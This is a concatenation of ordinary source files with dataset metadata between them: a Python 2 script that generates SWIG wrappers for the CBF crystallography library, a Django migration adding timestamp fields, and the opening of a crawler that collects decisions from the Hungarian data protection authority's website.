code+= " return result;}\n" self.code=self.code+code return else: var = args[1].split(" ")[-1] code += docstringwrite(pyfunc,[],[args[1]],prototype,docstring) code+= " void %s(%s){\n"%(pyfunc,args[1]) code +=" cbf_failnez(%s(self,%s));}\n"%(cfunc,var) self.code=self.code+code return if not_found: code+= " void %s(void){\n"%(pyfunc) code +=" cbf_failnez(CBF_NOTIMPLEMENTED);}\n" self.code=self.code+code print "Have not implemented: cbfhandle.%s"%(pyfunc) print " ",cfunc print " args:" for a in args: print " ",a print return cbf_handle_wrapper = cbfhandlewrapper() cbf_goniometer_specials = { "cbf_get_rotation_range":[""" %apply double *OUTPUT {double *start,double *increment}; void get_rotation_range(double *start,double *increment){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_rotation_range (self,reserved, start,increment)); } ""","get_rotation_range",[],["Float start","Float increment"]], "cbf_rotate_vector":[""" %apply double *OUTPUT {double *final1, double *final2, double *final3}; void rotate_vector (double ratio, double initial1, double initial2, double initial3, double *final1, double *final2, double *final3){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_rotate_vector (self, reserved, ratio, initial1, initial2, initial3, final1, final2, final3)); } """, "rotate_vector", [ "double ratio", "double initial1","double initial2", "double initial3" ] , [ "double final1" ,"double final2" , "double final3" ] ], "cbf_get_reciprocal":[""" %apply double *OUTPUT {double *reciprocal1, double *reciprocal2, double *reciprocal3}; void get_reciprocal (double ratio,double wavelength, double real1, double real2, double real3, double *reciprocal1, double *reciprocal2, double *reciprocal3){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_reciprocal(self,reserved, ratio, wavelength, real1, real2, real3,reciprocal1, reciprocal2,reciprocal3)); } """, "get_reciprocal", ["double ratio","double wavelength", "double real1","double real2","double real3"], ["double reciprocal1","double reciprocal2", "double reciprocal3" ]], "cbf_get_rotation_axis":[""" %apply double *OUTPUT {double *vector1, double *vector2, double *vector3}; void get_rotation_axis (double *vector1, double *vector2, double *vector3){ unsigned int reserved; reserved = 0; cbf_failnez(cbf_get_rotation_axis (self, reserved, vector1, vector2, vector3)); } ""","get_rotation_axis", [] , ["double vector1", "double vector2", "double vector3"] ], "cbf_get_goniometer_poise":[""" %apply double *OUTPUT {double * vector1, double * vector2, double * vector3, double * offset1, double * offset2, double * offset3, double * angle}; void get_goniometer_poise(double ratio, double * vector1, double * vector2, double * vector3, double * offset1, double * offset2, double * offset3, double * angle){ cbf_failnez(cbf_get_goniometer_poise(self, ratio, vector1, vector2, vector3, offset1, offset2, offset3,angle)); } ""","get_goniometer_poise",["Float ratio"], ["Float vector1","Float vector2","Float vector3", "Float offset1","Float offset2","Float offset3", "Float angle"]], } class cbfgoniometerwrapper: def __init__(self): self.code = """ // Tell SWIG not to make constructor for these objects %nodefault cbf_positioner_struct; %nodefault cbf_goniometer; %nodefault cbf_axis_struct; // Tell SWIG what the object is, so we can build the class typedef struct { double matrix [3][4]; cbf_axis_struct *axis; size_t axes; int matrix_is_valid; double matrix_ratio_used; size_t axis_index_limit; } cbf_positioner_struct; typedef cbf_positioner_struct *cbf_positioner; typedef cbf_positioner_struct *cbf_goniometer; %feature("autodoc","1"); %extend cbf_positioner_struct{// Tell SWIG to attach functions to the structure cbf_positioner_struct(){ // Constructor // DO NOT CONSTRUCT WITHOUT A CBFHANDLE cbf_failnez(CBF_ARGUMENT); return NULL; /* Should never be executed */ } ~cbf_positioner_struct(){ // Destructor cbf_failnez(cbf_free_positioner(self)); } """ self.tail = """ }; // End of cbf_positioner """ def wrap(self,cfunc,prototype,args,docstring): if cfunc.find("cbf_free_goniometer")>-1: return try: code, pyname, input, output = cbf_goniometer_specials[cfunc] self.code += docstringwrite(pyname,input,output, prototype,docstring)+ code except KeyError: print "TODO: Goniometer:",prototype def get_code(self): return self.code+self.tail cbf_goniometer_wrapper = cbfgoniometerwrapper() cbf_detector_specials = { "cbf_get_pixel_normal":[""" %apply double *OUTPUT {double *normal1, double *normal2, double *normal3}; void get_pixel_normal ( double index1, double index2, double *normal1, double *normal2, double *normal3){ cbf_failnez(cbf_get_pixel_normal(self, index1,index2,normal1,normal2,normal3)); } ""","get_pixel_normal",["double index1","double index2"] , ["double normal1","double normal2", "double normal3" ] ], "cbf_get_pixel_normal_fs":[""" %apply double *OUTPUT {double *normal1, double *normal2, double *normal3}; void get_pixel_normal_fs ( double indexfast, double indexslow, double *normal1, double *normal2, double *normal3){ cbf_failnez(cbf_get_pixel_normal_fs(self, indexfast,indexslow,normal1,normal2,normal3)); } ""","get_pixel_normal_fs",["double indexfast","double indexslow"] , ["double normal1","double normal2", "double normal3" ] ], "cbf_get_pixel_normal_sf":[""" %apply double *OUTPUT {double *normal1, double *normal2, double *normal3}; void get_pixel_normal_sf ( double indexslow, double indexfast, double *normal1, double *normal2, double *normal3){ cbf_failnez(cbf_get_pixel_normal_sf(self, indexslow,indexfast,normal1,normal2,normal3)); } ""","get_pixel_normal_sf",["double indexslow","double indexfast"] , ["double normal1","double normal2", "double normal3" ] ], "cbf_get_detector_axis_slow":[""" %apply double *OUTPUT {double *slowaxis1, double *slowaxis2, double *slowaxis3}; void get_detector_axis_slow ( double *slowaxis1, double *slowaxis2, double *slowaxis3){ cbf_failnez(cbf_get_detector_axis_slow(self, slowaxis1,slowaxis2,slowaxis3)); } ""","get_detector_axis_slow", [ ], ["double slowaxis1","double slowaxis2", "double slowaxis3" ] ], "cbf_get_detector_axis_fast":[""" %apply double *OUTPUT {double *fastaxis1, double *fastaxis2, double *fastaxis3}; void get_detector_axis_fast ( double *fastaxis1, double *fastaxis2, double *fastaxis3){ cbf_failnez(cbf_get_detector_axis_fast(self, fastaxis1,fastaxis2,fastaxis3)); } ""","get_detector_axis_fast", [ ], ["double fastaxis1","double fastaxis2", "double fastaxis3" ] ], "cbf_get_detector_axes":[""" %apply double *OUTPUT {double *slowaxis1, double *slowaxis2, double *slowaxis3, double *fastaxis1, double *fastaxis2, double *fastaxis3}; void get_detector_axes ( double *slowaxis1, double *slowaxis2, double *slowaxis3, double *fastaxis1, double *fastaxis2, double *fastaxis3){ cbf_failnez(cbf_get_detector_axes(self, slowaxis1,slowaxis2,slowaxis3, fastaxis1,fastaxis2,fastaxis3)); } ""","get_detector_axes", [ ], ["double slowaxis1","double slowaxis2", "double slowaxis3", "double fastaxis1","double fastaxis2", "double fastaxis3" ] ], "cbf_get_detector_axes_fs":[""" %apply double *OUTPUT {double *slowaxis1, double *slowaxis2, double *slowaxis3, double *fastaxis1, double *fastaxis2, double *fastaxis3}; void get_detector_axes_fs ( double *fastaxis1, double *fastaxis2, double *fastaxis3, double *slowaxis1, double *slowaxis2, double *slowaxis3){ cbf_failnez(cbf_get_detector_axes(self, slowaxis1,slowaxis2,slowaxis3, fastaxis1,fastaxis2,fastaxis3)); } ""","get_detector_axes", [ ], ["double fastaxis1","double fastaxis2", "double fastaxis3", "double slowaxis1","double slowaxis2", "double slowaxis3"] ], "cbf_get_detector_axes_sf":[""" %apply double *OUTPUT {double *slowaxis1, double *slowaxis2, double *slowaxis3, double *fastaxis1, double *fastaxis2, double *fastaxis3}; void get_detector_axes_sf ( double *slowaxis1, double *slowaxis2, double *slowaxis3, double *fastaxis1, double *fastaxis2, double *fastaxis3){ cbf_failnez(cbf_get_detector_axes(self, slowaxis1,slowaxis2,slowaxis3, fastaxis1,fastaxis2,fastaxis3)); } ""","get_detector_axes_sf", [ ], ["double slowaxis1","double slowaxis2", "double slowaxis3", "double fastaxis1","double fastaxis2", "double fastaxis3" ] ], "cbf_get_detector_surface_axes":[""" const char * get_detector_surface_axes (int index ){ const char * axis_id1; const char * axis_id2; cbf_failnez(cbf_get_detector_surface_axes(self, &axis_id1, &axis_id2)); if (index == 0) return axis_id1; if (index == 1) return axis_id2; return "."; } ""","cbf_get_detector_surface_axes", ["Integer index" ], ["String" ] ], "cbf_get_pixel_area":[""" %apply double *OUTPUT{double *area,double *projected_area}; void get_pixel_area(double index1, double index2, double *area,double *projected_area){ cbf_failnez(cbf_get_pixel_area (self, index1, index2, area,projected_area)); } ""","get_pixel_area",["double index1", "double index2"], ["double area","double projected_area"] ], "cbf_get_pixel_area_fs":[""" %apply double *OUTPUT{double *area,double *projected_area}; void get_pixel_area_fs(double indexfast, double indexslow, double *area,double *projected_area){ cbf_failnez(cbf_get_pixel_area_fs (self, indexfast, indexslow, area,projected_area)); } ""","get_pixel_area_fs",["double indexfast", "double indexslow"], ["double area","double projected_area"] ], "cbf_get_pixel_area_sf":[""" %apply double *OUTPUT{double *area,double *projected_area}; void get_pixel_area_sf(double indexslow, double indexfast, double *area,double *projected_area){ cbf_failnez(cbf_get_pixel_area_sf (self, indexslow, indexfast, area,projected_area)); } ""","get_pixel_area_sf",["double indexslow", "double indexfast"], ["double area","double projected_area"] ], "cbf_get_detector_distance":[""" %apply double *OUTPUT {double *distance}; void get_detector_distance (double *distance){ cbf_failnez(cbf_get_detector_distance(self,distance)); } ""","get_detector_distance",[],["double distance"]], "cbf_get_detector_normal":[""" %apply double *OUTPUT {double *normal1, double *normal2, double *normal3}; void get_detector_normal(double *normal1, double *normal2, double *normal3){ cbf_failnez(cbf_get_detector_normal(self, normal1, normal2, normal3)); } ""","get_detector_normal",[], ["double normal1", "double normal2", "double normal3"]], "cbf_get_pixel_coordinates":[""" %apply double *OUTPUT {double *coordinate1, double *coordinate2, double *coordinate3}; void get_pixel_coordinates(double index1, double index2, double *coordinate1, double *coordinate2, double *coordinate3){ cbf_failnez(cbf_get_pixel_coordinates(self, index1, index2, coordinate1, coordinate2, coordinate3)); } ""","get_pixel_coordinates",["double index1","double index2"], ["double coordinate1", "double coordinate2", "double coordinate3"] ], "cbf_get_pixel_coordinates_fs":[""" %apply double *OUTPUT {double *coordinate1, double *coordinate2, double *coordinate3}; void get_pixel_coordinates_fs(double indexfast, double indexslow, double *coordinate1, double *coordinate2, double *coordinate3){ cbf_failnez(cbf_get_pixel_coordinates_fs(self, indexfast, indexslow, coordinate1, coordinate2, coordinate3)); } ""","get_pixel_coordinates_fs",["double indexfast","double indexslow"], ["double coordinate1", "double coordinate2", "double coordinate3"] ], "cbf_get_pixel_coordinates_sf":[""" %apply double *OUTPUT {double *coordinate1, double *coordinate2, double *coordinate3}; void get_pixel_coordinates_sf(double indexslow, double indexfast, double *coordinate1, double *coordinate2, double *coordinate3){ cbf_failnez(cbf_get_pixel_coordinates_sf(self, indexslow, indexfast, coordinate1, coordinate2, coordinate3)); } ""","get_pixel_coordinates_sf",["double indexslow","double indexfast"], ["double coordinate1", "double coordinate2", "double coordinate3"] ], "cbf_get_beam_center":[""" %apply double *OUTPUT {double *index1, double *index2, double *center1,double *center2}; void get_beam_center(double *index1, double *index2, double *center1,double *center2){ cbf_failnez(cbf_get_beam_center(self, index1, index2, center1, center2)); } ""","get_beam_center",[], ["double index1", "double index2", "double center1","double center2"]], "cbf_get_beam_center_fs":[""" %apply double *OUTPUT {double *indexfast, double *indexslow, double *centerfast,double *centerslow}; void get_beam_center_fs(double *indexfast, double *indexslow, double *centerfast,double *centerslow){ cbf_failnez(cbf_get_beam_center_fs(self, indexfast, indexslow, centerfast, centerslow)); } ""","get_beam_center_fs",[], ["double indexfast", "double indexslow", "double centerfast","double centerslow"]], "cbf_get_beam_center_sf":[""" %apply double *OUTPUT {double *indexslow, double *indexfast, double *centerslow,double *centerfast}; void get_beam_center_sf(double *indexslow, double *indexfast, double *centerslow,double *centerfast){ cbf_failnez(cbf_get_beam_center_sf(self, indexslow, indexfast, centerslow, centerfast)); } ""","get_beam_center_sf",[], ["double indexslow", "double indexfast", "double centerslow","double centerfast"]], "cbf_set_beam_center":[""" void set_beam_center(double *indexslow, double *indexfast, double *centerslow,double *centerfast){ cbf_failnez(cbf_set_beam_center(self, indexslow, indexfast, centerslow, centerfast)); } ""","set_beam_center", ["double indexslow", "double indexfast", "double centerslow","double centerfast"],[]], "cbf_set_beam_center_fs":[""" void set_beam_center_fs(double *indexfast, double *indexslow, double *centerfast,double *centerslow){ cbf_failnez(cbf_set_beam_center_fs(self, indexfast, indexslow, centerfast, centerslow)); } ""","set_beam_center_fs", ["double indexfast", "double indexslow", "double centerfast","double centerslow"],[]], "cbf_set_beam_center_sf":[""" void set_beam_center_sf(double *indexslow, double *indexfast, double *centerslow,double *centerfast){ cbf_failnez(cbf_set_beam_center_sf(self, indexslow, indexfast, centerslow, centerfast)); } ""","set_beam_center_sf", ["double indexslow", "double indexfast", "double centerslow","double centerfast"],[]], "cbf_set_reference_beam_center":[""" void set_reference_beam_center(double *indexslow, double *indexfast, double *centerslow,double *centerfast){ cbf_failnez(cbf_set_reference_beam_center(self, indexslow, indexfast, centerslow, centerfast)); } ""","set_reference_beam_center", ["double indexslow", "double indexfast", "double centerslow","double centerfast"],[]], "cbf_set_reference_beam_center_fs":[""" void set_reference_beam_center_fs(double *indexfast, double *indexslow, double *centerfast,double *centerslow){ cbf_failnez(cbf_set_reference_beam_center_fs(self, indexfast, indexslow, centerfast, centerslow)); } ""","set_reference_beam_center_fs", ["double indexfast", "double indexslow", "double centerfast","double centerslow"],[]], "cbf_set_reference_beam_center_sf":[""" void set_reference_beam_center_sf(double *indexslow, double *indexfast, double *centerslow,double *centerfast){ cbf_failnez(cbf_set_reference_beam_center_sf(self, indexslow, indexfast, centerslow, centerfast)); } ""","set_reference_beam_center_sf", ["double indexslow", "double indexfast", "double centerslow","double centerfast"],[]], "cbf_get_inferred_pixel_size" : [""" %apply double *OUTPUT { double *psize } get_inferred_pixel_size; void get_inferred_pixel_size(unsigned int axis_number, double* psize){ cbf_failnez(cbf_get_inferred_pixel_size(self, axis_number, psize)); } ""","get_inferred_pixel_size",["Int axis_number"],["Float pixel size"] ], "cbf_get_inferred_pixel_size_fs" : [""" %apply double *OUTPUT { double *psize } get_inferred_pixel_size; void get_inferred_pixel_size_fs(unsigned int axis_number, double* psize){ cbf_failnez(cbf_get_inferred_pixel_size_fs(self, axis_number, psize)); } ""","get_inferred_pixel_size_fs",["Int axis_number"],["Float pixel size"] ], "cbf_get_inferred_pixel_size_sf" : [""" %apply double *OUTPUT { double *psize } get_inferred_pixel_size; void get_inferred_pixel_size_sf(unsigned int axis_number, double* psize){ cbf_failnez(cbf_get_inferred_pixel_size_sf(self, axis_number, psize)); } ""","get_inferred_pixel_size_sf",["Int axis_number"],["Float pixel size"] ] } class cbfdetectorwrapper: def __init__(self): self.code = """ // Tell SWIG not to make constructor for these objects %nodefault cbf_detector_struct; %nodefault cbf_detector; // Tell SWIG what the object is, so we can build the class typedef struct { cbf_positioner positioner; double displacement [2], increment [2]; size_t axes, index [2]; } cbf_detector_struct; typedef cbf_detector_struct *cbf_detector; %feature("autodoc","1"); %extend cbf_detector_struct{// Tell SWIG to attach functions to the structure cbf_detector_struct(){ // Constructor // DO NOT CONSTRUCT WITHOUT A CBFHANDLE cbf_failnez(CBF_ARGUMENT); return NULL; /* Should never be executed */ } ~cbf_detector_struct(){ // Destructor cbf_failnez(cbf_free_detector(self)); } """ self.tail = """ }; // End of cbf_detector """ def wrap(self,cfunc,prototype,args,docstring): if cfunc.find("cbf_free_detector")>-1: return try: code, pyname, input, output = cbf_detector_specials[cfunc] self.code += docstringwrite(pyname,input,output, prototype,docstring)+ code except KeyError: print "TODO: Detector:",prototype def get_code(self): return self.code+self.tail cbf_detector_wrapper = cbfdetectorwrapper() class cbfpositionerwrapper: def __init__(self): self.code = """ // Tell SWIG not to make constructor for these objects %nodefault cbf_positioner_struct; %nodefault cbf_positioner; // Tell SWIG what the object is, so we can build the class typedef struct { double matrix [3][4]; cbf_axis_struct *axis; size_t axes; int matrix_is_valid, axes_are_connected; } cbf_positioner_struct; typedef cbf_positioner_struct *cbf_positioner; %feature("autodoc","1"); %extend cbf_positioner_struct{// Tell SWIG to attach functions to the structure cbf_positioner_struct(){ // Constructor // DO NOT CONSTRUCT WITHOUT A CBFHANDLE cbf_failnez(CBF_ARGUMENT); return NULL; /* Should never be executed */ } ~cbf_positioner_struct(){ // Destructor cbf_failnez(cbf_free_positioner(self)); } """ self.tail = """ }; // End of cbf_positioner """ def wrap(self,cfunc,prototype,args,docstring): if cfunc.find("cbf_free_positioner")>-1: return try: code, pyname, input, output = cbf_positioner_specials[cfunc] self.code += docstringwrite(pyname,input,output, prototype,docstring)+ code except KeyError: print "TODO: Positioner:",prototype def get_code(self): return self.code+self.tail cbf_positioner_wrapper = cbfpositionerwrapper() cbfgeneric_specials = { "cbf_get_local_integer_byte_order":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %inline { void get_local_integer_byte_order(char **bo, int *bolen) { char * byteorder; char * bot; error_status = cbf_get_local_integer_byte_order(&byteorder); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; } } ""","get_local_integer_byte_order",[],["char **bo", "int *bolen"]], "cbf_get_local_real_format":[""" %cstring_output_allocate_size(char **rf, int *rflen, free(*$1)); %inline { void get_local_real_format(char **rf, int *rflen) { char * real_format; char * rft; error_status = cbf_get_local_real_format(&real_format); *rflen = strlen(real_format); if (!(rft = (char *)malloc(*rflen))) {cbf_failnez(CBF_ALLOC)} strncpy(rft,real_format,*rflen); *rf = rft; } } ""","get_local_real_format",[],["char **rf", "int *rflen"]], "cbf_get_local_real_byte_order":[""" %cstring_output_allocate_size(char **bo, int *bolen, free(*$1)); %inline { void get_local_real_byte_order(char **bo, int *bolen) { char * byteorder; char * bot; error_status = cbf_get_local_real_byte_order(&byteorder); *bolen = strlen(byteorder); if (!(bot = (char *)malloc(*bolen))) {cbf_failnez(CBF_ALLOC)} strncpy(bot,byteorder,*bolen); *bo = bot; } } ""","get_local_real_byte_order",[],["char **bo", "int *bolen"]], "cbf_compute_cell_volume":[""" %apply double *OUTPUT {double *volume}; %inline { void compute_cell_volume(double cell[6], double *volume) { cbf_failnez(cbf_compute_cell_volume(cell,volume)); } } ""","compute_cell_volume",["double cell[6]"],["Float volume"]], "cbf_compute_reciprocal_cell":[""" %apply double *OUTPUT {double *astar, double *bstar, double *cstar, double *alphastar, double *betastar, double *gammastar}; %inline { void compute_reciprocal_cell(double cell[6], double *astar, double *bstar, double *cstar, double *alphastar, double *betastar, double *gammastar) { double rcell[6]; cbf_failnez(cbf_compute_reciprocal_cell(cell,rcell)); *astar = rcell[0]; *bstar = rcell[1]; *cstar = rcell[2]; *alphastar = rcell[3]; *betastar = rcell[4]; *gammastar = rcell[5]; } } ""","compute_reciprocal_cell",["double cell[6]"], ["Float astar", "Float bstar", "Float cstar", "Float alphastar", "Float betastar", "Float gammastar"] ], "cbf_airy_disk":[""" %apply double *OUTPUT {double *value}; %inline { void airy_disk(double x, double y, double cenx, double ceny, double volume, double fwhm, double *value) { cbf_failnez(cbf_airy_disk(x,y,cenx,ceny,volume,fwhm,value)); } } ""","airy_disk",["double x", "double y", "double cenx", "double ceny", "double volume", "double fwhm"], ["Float value"] ], "cbf_airy_disk_volume":[""" %apply double *OUTPUT {double *volumeout}; %inline { void airy_disk_volume(double xlo, double ylo, double xhi, double yhi, double cenx, double ceny, double volumein, double fwhm, double * volumeout) { cbf_failnez(cbf_airy_disk_volume(xlo,ylo,xhi,yhi,cenx,ceny,volumein,fwhm,volumeout)); } } ""","airy_disk_volume",["double xlo", "double ylo", "double xhi", "double yhi", "double cenx", "double ceny", "double volumein", "double fwhm"], ["Float volumeout"] ] } class genericwrapper: def __init__(self): self.code = """ // Start of generic functions %feature("autodoc","1"); """ self.tail = "// End of generic functions\n" def get_code(self): return self.code + self.tail def wrap(self,cfunc,prototype,args,docstring): pyfunc = cfunc.replace("cbf_","") # Insert a comment for debugging this script code = "\n/* cfunc %s pyfunc %s \n"%(cfunc,pyfunc) for a in args: code += " arg %s "%(a) code += "*/\n\n" self.code+=code code = "" not_found = 0 try: code, pyname, input, output = cbfgeneric_specials[cfunc] self.code += docstringwrite(pyname,input,output, prototype,docstring)+ code return except KeyError: not_found = 1 # print "KeyError" except ValueError: print "problem in generic",cfunc for item in cbfgeneric_specials[cfunc]: print "***",item raise if len(args)==1 and args[0].find("char")>-1 and \ args[0].find("**")>-1 :# return string # first write the c code and inline it code += docstringwrite(pyfunc,[],["string"],prototype,docstring) code += "%%inline %%{\n char* %s(void);\n"%(pyfunc) code += " char* %s(void){\n"%(pyfunc) code += " char *r;\n" code += " error_status = %s(&r);\n"%(cfunc) code += " return r; }\n%}\n" # now the thing to wrap is: code += "char* %s(void);"%(pyfunc) self.code=self.code+code return # code+= " void %s(void){\n"%(pyfunc) # code +=" cbf_failnez(CBF_NOTIMPLEMENTED);}\n" # self.code=self.code+code print "Have not implemented:" for s in [cfunc, pyfunc] + args: print "\t",s print return generic_wrapper = genericwrapper() def generate_wrappers(name_dict): names = name_dict.keys() for cname in names: prototype = name_dict[cname][0] docstring = name_dict[cname][1] # print "Generate wrappers: ", "::",cname,"::", prototype,"::", docstring # Check prototype begins with "int cbf_" if prototype.find("int cbf_")!=0: print "problem with:",prototype # Get arguments from prototypes try: args = prototype.split("(")[1].split(")")[0].split(",") args = [ s.lstrip().rstrip() for s in args ] # strip spaces off ends # print "Args: ", args except: # print cname # print prototype raise if args[0].find("cbf_handle")>=0: # This is for the cbfhandle object cbf_handle_wrapper.wrap(cname,prototype,args,docstring) if (cname=="cbf_get_unit_cell"): cbf_handle_wrapper.wrap("cbf_get_unit_cell_esd",prototype,args,docstring) if (cname=="cbf_get_reciprocal_cell"): cbf_handle_wrapper.wrap("cbf_get_reciprocal_cell_esd",prototype,args,docstring) if (cname=="cbf_set_unit_cell"): cbf_handle_wrapper.wrap("cbf_set_unit_cell_esd",prototype,args,docstring) if (cname=="cbf_set_reciprocal_cell"): cbf_handle_wrapper.wrap("cbf_set_reciprocal_cell_esd",prototype,args,docstring) continue if args[0].find("cbf_goniometer")>=0: # This is for the cbfgoniometer cbf_goniometer_wrapper.wrap(cname,prototype,args,docstring) continue if args[0].find("cbf_detector")>=0: # This is for the cbfdetector cbf_detector_wrapper.wrap(cname,prototype,args,docstring) continue if args[0].find("cbf_positioner")>=0: # This is for the cbfpositioner cbf_positioner_wrapper.wrap(cname,prototype,args,docstring) continue generic_wrapper.wrap(cname,prototype,args,docstring) generate_wrappers(name_dict) open("cbfgoniometerwrappers.i","w").write(cbf_goniometer_wrapper.get_code()) open("cbfdetectorwrappers.i","w").write(cbf_detector_wrapper.get_code()) open("cbfpositionerwrappers.i","w").write(cbf_positioner_wrapper.get_code()) open("cbfhandlewrappers.i","w").write(cbf_handle_wrapper.get_code()) open("cbfgenericwrappers.i","w").write(generic_wrapper.get_code()) print "End of output from make_pycbf.py" print "\\end{verbatim}"

36.963529

144

0.609408

14,772

125,676

4.955727

0.044476

0.031965

0.040311

0.019233

0.81981

0.786957

0.754788

0.724094

0.693386

0.661216

0

0.009584

0.259429

125,676

3,399

145

36.974404

0.776968

0.036522

0

0.474736

1

0.018175

0.842181

0.190196

0

null

0

null

0.007997

0

null

0

1

0

1

0

1

0

1

0

null

0

1

0

8

8b1bdeb8b398675400f1fdc4dea627e36e6fb140

2,535

py

Python

results/migrations/0008_add_timestamps.py

sjal-tilasto/sal-kiti

cfaf5d3e346d2eb7f4a762b6fd536b3442665f94

[ "MIT" ]

1

2021-06-12T08:46:32.000Z

results/migrations/0008_add_timestamps.py

sjal-tilasto/sal-kiti

cfaf5d3e346d2eb7f4a762b6fd536b3442665f94

[ "MIT" ]

8

2020-07-01T15:06:52.000Z

2022-02-20T09:11:23.000Z

results/migrations/0008_add_timestamps.py

sjal-tilasto/sal-kiti

cfaf5d3e346d2eb7f4a762b6fd536b3442665f94

[ "MIT" ]

3

2020-03-01T17:02:24.000Z

2020-07-05T14:37:59.000Z

# Generated by Django 2.2.12 on 2020-07-02 17:34 from django.db import migrations, models import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('results', '0007_limit_partial_records_by_category'), ] operations = [ migrations.AddField( model_name='competition', name='created_at', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='Created at'), preserve_default=False, ), migrations.AddField( model_name='competition', name='updated_at', field=models.DateTimeField(auto_now=True, verbose_name='Updated at'), ), migrations.AddField( model_name='event', name='created_at', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='Created at'), preserve_default=False, ), migrations.AddField( model_name='event', name='updated_at', field=models.DateTimeField(auto_now=True, verbose_name='Updated at'), ), migrations.AddField( model_name='record', name='created_at', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='Created at'), preserve_default=False, ), migrations.AddField( model_name='record', name='updated_at', field=models.DateTimeField(auto_now=True, verbose_name='Updated at'), ), migrations.AddField( model_name='result', name='created_at', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='Created at'), preserve_default=False, ), migrations.AddField( model_name='result', name='updated_at', field=models.DateTimeField(auto_now=True, verbose_name='Updated at'), ), migrations.AddField( model_name='resultpartial', name='created_at', field=models.DateTimeField(auto_now_add=True, default=django.utils.timezone.now, verbose_name='Created at'), preserve_default=False, ), migrations.AddField( model_name='resultpartial', name='updated_at', field=models.DateTimeField(auto_now=True, verbose_name='Updated at'), ), ]

36.214286

120

0.605917

260

2,535

5.696154

0.188462

0.12154

0.1553

0.182309

0.872384

0.798785

0

0.010995

0.282446

2,535

69

121

36.73913

0.803189

0.018146

0

0.873016

1

0

0.131484

0.015279

0

1

0

false

0

0.031746

0

0.079365

0

null

0

1

0

1

0

null

0

9

8ca99a106ac1b012b5b6f21cad9308fe71a185ca

25,115

py

Python

pygdpr/models/dpa/hungary/__init__.py

GDPRxiv/crawler

178ef9ff6c3641ba8b761a49e42c2579e453c1ca

[ "MIT" ]

null

pygdpr/models/dpa/hungary/__init__.py

GDPRxiv/crawler

178ef9ff6c3641ba8b761a49e42c2579e453c1ca

[ "MIT" ]

2

2022-02-19T06:56:03.000Z

2022-02-19T07:00:00.000Z

pygdpr/models/dpa/hungary/__init__.py

GDPRxiv/crawler

178ef9ff6c3641ba8b761a49e42c2579e453c1ca

[ "MIT" ]

null

import os import math import requests import json import datetime import hashlib import dateparser from pygdpr.models.dpa import DPA from bs4 import BeautifulSoup from pygdpr.services.filename_from_path_service import filename_from_path_service from pygdpr.services.pdf_to_text_service import PDFToTextService from pygdpr.specifications import pdf_file_extension_specification from pygdpr.specifications.should_retain_document_specification import ShouldRetainDocumentSpecification from pygdpr.models.common.pagination import Pagination from pygdpr.policies.gdpr_policy import GDPRPolicy import textract class Hungary(DPA): def __init__(self, path=os.curdir): country_code='HU' super().__init__(country_code, path) def update_pagination(self, pagination=None, page_soup=None, driver=None, start_path="decisions"): source = { "host": "https://www.naih.hu", "start_path_decisions": "/hatarozatok-vegzesek?start=0", "start_path_recommendations": "/ajanlasok", "start_path_notices": "/dontesek-adatvedelem-tajekoztatok-koezlemenyek", "start_path_resolutions": "/adatvedelmi-allasfoglalasok?start=0", "start_path_annualReports": "/eves-beszamolok" } host = source['host'] if start_path == "recommendations": start_path = source['start_path_recommendations'] elif start_path == "notices": start_path = source['start_path_notices'] elif start_path == "resolutions": start_path = source['start_path_resolutions'] elif start_path == "annualReports": start_path = source['start_path_annualReports'] else: start_path = source['start_path_decisions'] if pagination is None: pagination = Pagination() pagination.add_item(host + start_path) else: pagination = Pagination() sectiontablefooter = page_soup.find('div', class_='sectiontablefooter') if sectiontablefooter is None: return pagination pagination_next = sectiontablefooter.find('li', class_='pagination-next') if pagination_next is None: return pagination try_next_link = pagination_next.find('a', class_='hasTooltip pagenav') if try_next_link is None: return pagination next_link = try_next_link.get('href') print("next_link:", next_link) pagination.add_item(host + next_link) #print('added link to pagination: ', host + next_link) return pagination def get_source(self, page_url=None, driver=None): assert (page_url is not None) results_response = None try: results_response = requests.request('GET', page_url) results_response.raise_for_status() except requests.exceptions.HTTPError as error: if to_print: print(error) pass return results_response def get_docs(self, existing_docs=[], overwrite=False, to_print=True): added_docs = [] # call all the get_docs_X() functions added_docs += self.get_docs_Decisions(existing_docs=[], overwrite=False, to_print=True) added_docs += self.get_docs_Recommendations(existing_docs=[], overwrite=False, to_print=True) added_docs += self.get_docs_Notices(existing_docs=[], overwrite=False, to_print=True) added_docs += self.get_docs_Resolutions(existing_docs=[], overwrite=False, to_print=True) added_docs += self.get_docs_AnnualReports(existing_docs=[], overwrite=False, to_print=True) return added_docs def get_docs_Decisions(self, existing_docs=[], overwrite=False, to_print=True): existed_docs = [] dict_hash = {} pagination = self.update_pagination() # s0. Pagination while pagination.has_next(): page_url = pagination.get_next() if to_print: print('Page:\t', page_url) page_source = self.get_source(page_url=page_url) if page_source is None: continue results_soup = BeautifulSoup(page_source.text, 'html.parser') assert results_soup pd_category = results_soup.find('div', class_='pd-category') for pd_filebox in pd_category.find_all('div', class_='pd-filebox'): pd_filenamebox = pd_filebox.find('div', class_='pd-filenamebox') pd_filename = pd_filenamebox.find('div', class_='pd-filename') pd_float = pd_filename.find('div', class_='pd-float') document_title = pd_float.find('a').get_text() document_hash = hashlib.md5(document_title.encode()).hexdigest() document_href = pd_float.find('a').get('href') pd_fl_m = pd_filebox.find('div', class_='pd-fl-m') date_str = pd_fl_m.get_text() tmp = dateparser.parse(date_str, languages=[self.language_code]) date = datetime.date(tmp.year, tmp.month, tmp.day) if ShouldRetainDocumentSpecification().is_satisfied_by(date) is False: continue print('document_title: ', document_title) print('\tdate: ', date) if document_hash in existing_docs and overwrite == False: if to_print: print('\tSkipping existing document:\t', document_hash) continue if document_hash in dict_hash and dict_hash[document_hash] == date: if to_print: print('\tDocument exist:\t', document_hash) continue host = "https://www.naih.hu" document_url = host + '/' + document_href if to_print: print("\tDocument:\t", document_hash) document_response = None try: document_response = requests.request('GET', document_url) 